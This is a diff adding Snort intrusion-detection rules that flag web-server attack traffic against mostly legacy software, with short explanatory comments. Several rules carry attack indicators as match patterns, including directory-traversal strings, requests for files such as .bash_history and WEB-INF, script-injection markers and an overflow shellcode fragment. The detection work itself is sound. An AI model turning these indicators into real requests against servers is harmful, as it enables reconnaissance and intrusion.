+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC htgrep attempt"; flow:to_server,established; uricontent:"/htgrep"; content:"hdr=/"; reference:cve,2000-0832; classtype:web-application-attack; sid:1615; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC htgrep access"; flow:to_server,established; uricontent:"/htgrep"; reference:cve,2000-0832; classtype:web-application-activity; sid:1207; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC .nsconfig access"; flow:to_server,established; uricontent:"/.nsconfig"; reference:url,www.osvdb.org/5709; classtype:attempted-recon; sid:1209; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Admin_files access"; flow:to_server,established; uricontent:"/admin_files"; nocase; classtype:attempted-recon; sid:1212; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC backup access"; flow:to_server,established; uricontent:"/backup"; nocase; classtype:attempted-recon; sid:1213; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC intranet access"; flow:to_server,established; uricontent:"/intranet/"; nocase; reference:nessus,11626; classtype:attempted-recon; sid:1214; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC filemail access"; flow:to_server,established; uricontent:"/filemail"; nocase; reference:cve,1999-1154; reference:cve,1999-1155; reference:url,www.securityfocus.com/archive/1/11175; classtype:attempted-recon; sid:1216; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC plusmail access"; flow:to_server,established; uricontent:"/plusmail"; nocase; reference:bugtraq,2653; reference:cve,2000-0074; reference:nessus,10181; classtype:attempted-recon; sid:1217; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC adminlogin access"; flow:to_server,established; uricontent:"/adminlogin"; nocase; reference:bugtraq,1164; reference:bugtraq,1175; reference:nessus,11748; classtype:attempted-recon; sid:1218; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ultraboard access"; flow:to_server,established; uricontent:"/ultraboard"; nocase; reference:bugtraq,1164; reference:bugtraq,1175; reference:nessus,11748; classtype:attempted-recon; sid:1220; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC musicat empower attempt"; flow:to_server,established; uricontent:"/empower?DB="; nocase; reference:bugtraq,2374; reference:cve,2001-0224; reference:nessus,10609; classtype:web-application-attack; sid:1589; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC musicat empower access"; flow:to_server,established; uricontent:"/empower"; nocase; reference:bugtraq,2374; reference:cve,2001-0224; reference:nessus,10609; classtype:web-application-activity; sid:1221; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ROADS search.pl attempt"; flow:to_server,established; uricontent:"/ROADS/cgi-bin/search.pl"; content:"form="; nocase; reference:bugtraq,2371; reference:cve,2001-0215; reference:nessus,10627; classtype:attempted-recon; sid:1224; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC VirusWall FtpSave access"; flow:to_server,established; uricontent:"/FtpSave.dll"; nocase; reference:bugtraq,2808; reference:cve,2001-0432; reference:nessus,10733; classtype:attempted-recon; sid:1230; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC VirusWall FtpSaveCSP access"; flow:to_server,established; uricontent:"/FtpSaveCSP.dll"; nocase; reference:bugtraq,2808; reference:cve,2001-0432; reference:nessus,10733; classtype:attempted-recon; sid:1234; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC VirusWall FtpSaveCVP access"; flow:to_server,established; uricontent:"/FtpSaveCVP.dll"; nocase; reference:bugtraq,2808; reference:cve,2001-0432; reference:nessus,10733; classtype:attempted-recon; sid:1235; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC weblogic/tomcat .jsp view source attempt"; flow:to_server,established; uricontent:".jsp"; nocase; pcre:!"/^\w+\s+[^\n\s\?]*\.jsp/smi"; reference:bugtraq,2527; classtype:web-application-attack; sid:1054; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC SWEditServlet directory traversal attempt"; flow:to_server,established; uricontent:"/SWEditServlet"; content:"template=../../../"; reference:bugtraq,2868; reference:cve,2001-0555; classtype:attempted-user; sid:1241; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC SWEditServlet access"; flow:to_server,established; uricontent:"/SWEditServlet"; reference:bugtraq,2868; classtype:attempted-recon; sid:1259; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC whisker HEAD/./"; flow:to_server,established; content:"HEAD/./"; reference:url,www.wiretrip.net/rfp/pages/whitepapers/whiskerids.html; classtype:attempted-recon; sid:1139; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC HP OpenView Manager DOS"; flow:to_server,established; uricontent:"/OvCgi/OpenView5.exe?Context=Snmp&Action=Snmp&Host=&Oid="; nocase; reference:bugtraq,2845; reference:cve,2001-0552; classtype:misc-activity; sid:1258; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC long basic authorization string"; flow:to_server,established; content:"Authorization|3A|"; pcre:"/^Authorization\x3a\s*Basic\s[^\n]{512}/smi"; reference:bugtraq,3230; reference:cve,2001-1067; classtype:attempted-dos; sid:1260; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC sml3com access"; flow:to_server,established; uricontent:"/graphics/sml3com"; reference:bugtraq,2721; reference:cve,2001-0740; classtype:web-application-activity; sid:1291; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC carbo.dll access"; flow:to_server,established; uricontent:"/carbo.dll"; content:"icatcommand="; nocase; reference:bugtraq,2126; reference:cve,1999-1069; classtype:attempted-recon; sid:1001; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC console.exe access"; flow:to_server,established; uricontent:"/cgi-bin/console.exe"; nocase; reference:bugtraq,3375; reference:cve,2001-1252; classtype:attempted-recon; sid:1302; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC cs.exe access"; flow:to_server,established; uricontent:"/cgi-bin/cs.exe"; nocase; reference:bugtraq,3375; reference:cve,2001-1252; classtype:attempted-recon; sid:1303; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC http directory traversal"; flow:to_server,established; content:"../"; reference:arachnids,297; classtype:attempted-recon; sid:1113; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC sadmind worm access"; flow:to_server,established; content:"GET x HTTP/1.0"; depth:15; reference:url,www.cert.org/advisories/CA-2001-11.html; classtype:attempted-recon; sid:1375; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC jrun directory browse attempt"; flow:to_server,established; uricontent:"/?.jsp"; reference:bugtraq,3592; classtype:web-application-attack; sid:1376; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC mod-plsql administration access"; flow:to_server,established; uricontent:"/admin_/"; reference:bugtraq,3726; reference:bugtraq,3727; reference:cve,2001-1216; reference:cve,2001-1217; reference:nessus,10849; classtype:web-application-activity; sid:1385; rev:11;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC viewcode.jse access"; flow:to_server,established; uricontent:"/viewcode.jse"; reference:bugtraq,3715; classtype:web-application-activity; sid:1389; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Phorecast remote code execution attempt"; flow:to_server,established; content:"includedir="; reference:bugtraq,3388; reference:cve,2001-1049; classtype:web-application-attack; sid:1391; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC viewcode access"; flow:to_server,established; uricontent:"/viewcode"; reference:cve,1999-0737; reference:nessus,10576; reference:nessus,12048; classtype:web-application-attack; sid:1403; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC showcode access"; flow:to_server,established; uricontent:"/showcode"; reference:bugtraq,167; reference:cve,1999-0736; reference:nessus,10007; classtype:web-application-attack; sid:1404; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC .history access"; flow:to_server,established; uricontent:"/.history"; classtype:web-application-attack; sid:1433; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC .bash_history access"; flow:to_server,established; uricontent:"/.bash_history"; reference:bugtraq,337; reference:cve,1999-0408; classtype:web-application-attack; sid:1434; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC /~nobody access"; flow:to_server,established; uricontent:"/~nobody"; reference:nessus,10484; classtype:web-application-attack; sid:1489; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC RBS ISP /newuser  directory traversal attempt"; flow:to_server,established; uricontent:"/newuser?Image=../.."; reference:bugtraq,1704; reference:cve,2000-1036; reference:nessus,10521; classtype:web-application-attack; sid:1492; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC RBS ISP /newuser access"; flow:to_server,established; uricontent:"/newuser"; reference:bugtraq,1704; reference:cve,2000-1036; reference:nessus,10521; classtype:web-application-activity; sid:1493; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC *%0a.pl access"; flow:to_server,established; uricontent:"/*|0A|.pl"; nocase; reference:nessus,11007; reference:url,www.securityfocus.com/archive/1/149482; classtype:web-application-attack; sid:1663; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC mkplog.exe access"; flow:to_server,established; uricontent:"/mkplog.exe"; nocase; classtype:web-application-activity; sid:1664; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC PCCS mysql database admin tool access"; flow:to_server,established; content:"pccsmysqladm/incs/dbconnect.inc"; depth:36; nocase; reference:arachnids,300; reference:bugtraq,1557; reference:cve,2000-0707; reference:nessus,10783; classtype:web-application-attack; sid:509; rev:11;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC .DS_Store access"; flow:to_server,established; uricontent:"/.DS_Store"; reference:url,www.macintouch.com/mosxreaderreports46.html; classtype:web-application-activity; sid:1769; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC .FBCIndex access"; flow:to_server,established; uricontent:"/.FBCIndex"; reference:url,www.securiteam.com/securitynews/5LP0O005FS.html; classtype:web-application-activity; sid:1770; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ExAir access"; flow:to_server,established; uricontent:"/exair/search/"; reference:bugtraq,193; reference:cve,1999-0449; reference:nessus,10002; reference:nessus,10003; reference:nessus,10004; classtype:web-application-activity; sid:1500; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC apache ?M=D directory list attempt"; flow:to_server,established; uricontent:"/?M=D"; reference:bugtraq,3009; reference:cve,2001-0731; classtype:web-application-activity; sid:1519; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC server-info access"; flow:to_server,established; uricontent:"/server-info"; reference:url,httpd.apache.org/docs/mod/mod_info.html; classtype:web-application-activity; sid:1520; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC server-status access"; flow:to_server,established; uricontent:"/server-status"; reference:url,httpd.apache.org/docs/mod/mod_info.html; classtype:web-application-activity; sid:1521; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ans.pl attempt"; flow:to_server,established; uricontent:"/ans.pl?p=../../"; reference:bugtraq,4147; reference:bugtraq,4149; reference:cve,2002-0306; reference:cve,2002-0307; reference:nessus,10875; classtype:web-application-attack; sid:1522; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC ans.pl access"; flow:to_server,established; uricontent:"/ans.pl"; reference:bugtraq,4147; reference:bugtraq,4149; reference:cve,2002-0306; reference:cve,2002-0307; reference:nessus,10875; classtype:web-application-activity; sid:1523; rev:10;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC AxisStorpoint CD attempt"; flow:to_server,established; uricontent:"/cd/../config/html/cnf_gi.htm"; reference:bugtraq,1025; reference:cve,2000-0191; reference:nessus,10023; classtype:web-application-attack; sid:1524; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Axis Storpoint CD access"; flow:to_server,established; uricontent:"/config/html/cnf_gi.htm"; reference:bugtraq,1025; reference:cve,2000-0191; reference:nessus,10023; classtype:web-application-activity; sid:1525; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC basilix sendmail.inc access"; flow:to_server,established; uricontent:"/inc/sendmail.inc"; reference:bugtraq,2198; reference:cve,2001-1044; reference:nessus,10601; classtype:web-application-activity; sid:1526; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC basilix mysql.class access"; flow:to_server,established; uricontent:"/class/mysql.class"; reference:bugtraq,2198; reference:cve,2001-1044; reference:nessus,10601; classtype:web-application-activity; sid:1527; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC BBoard access"; flow:to_server,established; uricontent:"/servlet/sunexamples.BBoardServlet"; reference:bugtraq,1459; reference:cve,2000-0629; reference:nessus,10507; classtype:web-application-activity; sid:1528; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Cisco Catalyst command execution attempt"; flow:to_server,established; uricontent:"/exec/show/config/cr"; nocase; reference:bugtraq,1846; reference:cve,2000-0945; reference:nessus,10545; classtype:web-application-activity; sid:1544; rev:7;)
+# alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Cisco /%% DOS attempt"; flow:to_server,established; uricontent:"/%%"; reference:bugtraq,1154; reference:cve,2000-0380; classtype:web-application-attack; sid:1546; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC /CVS/Entries access"; flow:to_server,established; uricontent:"/CVS/Entries"; reference:nessus,10922; reference:nessus,11032; classtype:web-application-activity; sid:1551; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC cvsweb version access"; flow:to_server,established; uricontent:"/cvsweb/version"; reference:cve,2000-0670; classtype:web-application-activity; sid:1552; rev:4;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC /doc/packages access"; flow:to_server,established; uricontent:"/doc/packages"; nocase; reference:bugtraq,1707; reference:cve,2000-1016; reference:nessus,10518; reference:nessus,11032; classtype:web-application-activity; sid:1559; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC /doc/ access"; flow:to_server,established; uricontent:"/doc/"; nocase; reference:bugtraq,318; reference:cve,1999-0678; classtype:web-application-activity; sid:1560; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC login.htm attempt"; flow:to_server,established; uricontent:"/login.htm?password="; nocase; reference:bugtraq,665; reference:cve,1999-1533; classtype:web-application-activity; sid:1563; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC login.htm access"; flow:to_server,established; uricontent:"/login.htm"; nocase; reference:bugtraq,665; reference:cve,1999-1533; classtype:web-application-activity; sid:1564; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC DELETE attempt"; flow:to_server,established; content:"DELETE "; depth:7; nocase; reference:nessus,10498; classtype:web-application-activity; sid:1603; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC /home/ftp access"; flow:to_server,established; uricontent:"/home/ftp"; nocase; reference:nessus,11032; classtype:web-application-activity; sid:1670; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC /home/www access"; flow:to_server,established; uricontent:"/home/www"; nocase; reference:nessus,11032; classtype:web-application-activity; sid:1671; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC global.inc access"; flow:to_server,established; uricontent:"/global.inc"; nocase; reference:bugtraq,4612; reference:cve,2002-0614; classtype:web-application-attack; sid:1738; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC SecureSite authentication bypass attempt"; flow:to_server,established; content:"secure_site, ok"; nocase; reference:bugtraq,4621; classtype:web-application-attack; sid:1744; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC b2 arbitrary command execution attempt"; flow:to_server,established; uricontent:"/b2/b2-include/"; content:"b2inc"; content:"http|3A|//"; reference:bugtraq,4673; reference:cve,2002-0734; reference:cve,2002-1466; reference:nessus,11667; classtype:web-application-attack; sid:1757; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC search.dll directory listing attempt"; flow:to_server,established; uricontent:"/search.dll"; content:"query=%00"; reference:bugtraq,1684; reference:cve,2000-0835; reference:nessus,10514; classtype:web-application-attack; sid:1766; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC search.dll access"; flow:to_server,established; uricontent:"/search.dll"; reference:bugtraq,1684; reference:cve,2000-0835; reference:nessus,10514; classtype:web-application-activity; sid:1767; rev:6;)
+
+
+# The following signatures are for non-standard ports.  When ports lists work,
+# then these will be converted to use HTTP_PORTS & HTTP_SERVERS
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8181 (msg:"WEB-MISC PIX firewall manager directory traversal attempt"; flow:to_server,established; content:"/../../"; reference:bugtraq,691; reference:cve,1999-0158; reference:nessus,10819; classtype:web-application-attack; sid:1498; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 4080 (msg:"WEB-MISC iChat directory traversal attempt"; flow:to_server,established; content:"/../../"; reference:cve,1999-0897; classtype:web-application-activity; sid:1604; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8080 (msg:"WEB-MISC Delegate whois overflow attempt"; flow:to_server,established; content:"whois|3A|//"; nocase; reference:cve,2000-0165; classtype:web-application-activity; sid:1558; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 8000 (msg:"WEB-MISC nstelemetry.adp access"; flow:to_server,established; content:"/nstelemetry.adp"; reference:nessus,10753; classtype:web-application-activity; sid:1518; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 457 (msg:"WEB-MISC Netscape Unixware overflow"; flow:to_server,established; content:"|EB|_|9A FF FF FF FF 07 FF C3|^1|C0 89|F|9D|"; reference:arachnids,180; reference:bugtraq,908; reference:cve,1999-0744; classtype:attempted-recon; sid:1132; rev:8;)
+
+# uricontent would be nice, but we can't be sure we are running http decoding
+# on 2301.  oh for rna integration...
+alert tcp $EXTERNAL_NET any -> $HOME_NET 2301 (msg:"WEB-MISC Compaq Insight directory traversal"; flow:to_server,established; content:"../"; reference:arachnids,244; reference:bugtraq,282; reference:cve,1999-0771; classtype:web-application-attack; sid:1199; rev:11;)
+
+
+# when we get real ports list, we will merge these sigs.  so for now, keep the
+# message the same.
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC VirusWall catinfo access"; flow:to_server,established; uricontent:"/catinfo"; nocase; reference:bugtraq,2579; reference:bugtraq,2808; reference:cve,2001-0432; reference:nessus,10650; classtype:attempted-recon; sid:1231; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HOME_NET 1812 (msg:"WEB-MISC VirusWall catinfo access"; flow:to_server,established; content:"/catinfo"; nocase; reference:bugtraq,2579; reference:bugtraq,2808; reference:cve,2001-0432; reference:nessus,10650; classtype:attempted-recon; sid:1232; rev:8;)
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Apache Chunked-Encoding worm attempt"; flow:to_server,established; content:"CCCCCCC|3A| AAAAAAAAAAAAAAAAAAA"; nocase; reference:bugtraq,4474; reference:bugtraq,4485; reference:bugtraq,5033; reference:cve,2002-0071; reference:cve,2002-0079; reference:cve,2002-0392; classtype:web-application-attack; sid:1809; rev:9;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Chunked-Encoding transfer attempt"; flow:to_server,established; content:"Transfer-Encoding|3A|"; nocase; content:"chunked"; distance:0; nocase; reference:bugtraq,4474; reference:bugtraq,4485; reference:bugtraq,5033; reference:cve,2002-0071; reference:cve,2002-0079; reference:cve,2002-0392; classtype:web-application-attack; sid:1807; rev:10;)
+
+
+
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC CISCO VoIP DOS ATTEMPT"; flow:to_server,established; uricontent:"/StreamingStatistics"; reference:bugtraq,4794; reference:cve,2002-0882; reference:nessus,11013; classtype:misc-attack; sid:1814; rev:8;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC IBM Net.Commerce orderdspc.d2w access"; flow:established,to_server; uricontent:"/ncommerce3/ExecMacro/orderdspc.d2w"; reference:bugtraq,2350; reference:cve,2001-0319; reference:nessus,11020; classtype:web-application-activity; sid:1820; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC WEB-INF access"; flow:established,to_server; uricontent:"/WEB-INF"; nocase; reference:bugtraq,1830; reference:bugtraq,5119; reference:cve,2000-1050; reference:cve,2001-0179; reference:nessus,11037; classtype:web-application-activity; sid:1826; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Tomcat servlet mapping cross site scripting attempt"; flow:established,to_server; uricontent:"/servlet/"; uricontent:"/org.apache."; reference:bugtraq,5193; reference:cve,2002-0682; reference:nessus,11041; classtype:web-application-attack; sid:1827; rev:7;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC iPlanet Search directory traversal attempt"; flow:established,to_server; uricontent:"/search"; content:"NS-query-pat="; content:"../../"; reference:bugtraq,5191; reference:cve,2002-1042; reference:nessus,11043; classtype:web-application-attack; sid:1828; rev:6;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Tomcat TroubleShooter servlet access"; flow:established,to_server; uricontent:"/examples/servlet/TroubleShooter"; reference:bugtraq,4575; reference:nessus,11046; classtype:web-application-activity; sid:1829; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Tomcat SnoopServlet servlet access"; flow:established,to_server; uricontent:"/examples/servlet/SnoopServlet"; reference:bugtraq,4575; reference:nessus,11046; classtype:web-application-activity; sid:1830; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC jigsaw dos attempt"; flow:established,to_server; uricontent:"/servlet/con"; reference:nessus,11047; classtype:web-application-attack; sid:1831; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC Macromedia SiteSpring cross site scripting attempt"; flow:established,to_server; uricontent:"/error/500error.jsp"; nocase; uricontent:"et="; uricontent:"<script"; nocase; reference:bugtraq,5249; reference:cve,2002-1027; classtype:web-application-attack; sid:1835; rev:5;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC mailman cross site scripting attempt"; flow:established,to_server; uricontent:"/mailman/"; nocase; uricontent:"?"; uricontent:"info="; uricontent:"<script"; nocase; reference:bugtraq,5298; reference:cve,2002-0855; classtype:web-application-attack; sid:1839; rev:4;)
+
+
+
+# NOTES: this signature looks for access to common webalizer output directories.
+# Webalizer is a http server log reporting program.  By allowing anyone on the
+# internet to view the web access logs, attackers can gain information about
+# your customers that probably should not be made public.  webalizer had cross
+# site scripting bugs prior to version 2.01-09.
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC webalizer access"; flow:established,to_server; uricontent:"/webalizer/"; nocase; reference:bugtraq,3473; reference:cve,2001-0835; reference:nessus,10816; classtype:web-application-activity; sid:1847; rev:9;)
+
+
+# NOTES: this signature looks for someone accessing the directory webcart-lite.
+# webcart-lite allows users to access world readable plain text customer
+# information databases.  To correct this issue, users should make the
+# data directories and databases not world readable, move the files outside of
+# WEBROOT if possible, and verify that a compromise of customer information has
+# not occured.
+# SIMILAR RULES: sid:1125
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC webcart-lite access"; flow:to_server,established; uricontent:"/webcart-lite/"; nocase; reference:cve,1999-0610; reference:nessus,10298; classtype:web-application-activity; sid:1848; rev:5;)
+
+
+# NOTES: this signature looks for someone accessing the web application
+# "webfind.exe".  This application has a buffer overflow in the keywords
+# argument.  An attacker can use this vulnerability to execute arbitrary
+# code on the web server.
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC webfind.exe access"; flow:to_server,established; uricontent:"/webfind.exe"; nocase; reference:bugtraq,1487; reference:cve,2000-0622; reference:nessus,10475; classtype:web-application-activity; sid:1849; rev:7;)
+
+# NOTES: this signature looks for someone accessing the file "active.log" via
+# a web server.  By allowing anyone on the internet to view the web access
+# logs, attackers can gain information about your customers that probably
+# should not be made public.
+#
+# This logfile is made available from the WebActive webserver.  This webserver
+# is no longer maintained and should be replaced with an actively maintained
+# webserver.  If converting to another webserver is not possible, remove read
+# access to this file.
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC active.log access"; flow:to_server,established; uricontent:"/active.log"; nocase; reference:bugtraq,1497; reference:cve,2000-0642; reference:nessus,10470; classtype:web-application-activity; sid:1851; rev:6;)
+
+
+
+# NOTES: this signature looks for someone accessing the file "robots.txt" via
+# web server.  This file is used to make web spider agents (including search
+# engines) more efficient.  robots.txt is often used to inform a web spider
+# which directories that the spider should ignore because the content may be
+# dynamic or restricted.  An attacker can use this information to gain insite
+# into directories that may have been deemed sensitive.
+#
+# Verify that the robots.txt does not include any sensitive information.
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC robots.txt access"; flow:to_server,established; uricontent:"/robots.txt"; nocase; reference:nessus,10302; classtype:web-application-activity; sid:1852; rev:3;)
+alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"WEB-MISC robot.txt access"; flow:to_server,established; uricontent:"/robot.txt"; nocase; reference:nessus,10302; classtype:web-application-activity; sid:1857; rev:3;)
+
+
